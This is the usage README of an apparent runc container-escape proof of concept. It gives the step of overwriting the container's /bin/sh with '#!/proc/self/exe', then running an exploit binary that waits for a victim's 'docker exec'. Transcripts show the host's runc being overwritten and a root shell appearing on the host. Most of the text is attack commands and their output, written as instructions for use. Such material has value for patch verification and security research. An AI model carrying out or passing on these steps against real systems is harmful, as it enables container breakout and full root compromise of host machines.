# Usage
PoC was created to the scenario were victim is executing for example `docker exec <container> sh`. Before running exploit it's required to overwrite `sh` binary in the container file system:
```bash
printf '#!/proc/self/exe' > /bin/sh
```
After that, when victim executes exec command, runc binary in the host file system should be overwritten with the code defined in exploit
## Example
container terminal:
```
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
```
victim terminal:
```
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$
```
[4.0K] /data/pocs/b4ad4b9ca945d81bd19139b69293365e5f1f5d68
├── [2.1K] main.c
└── [1.3K] README.md
0 directories, 2 files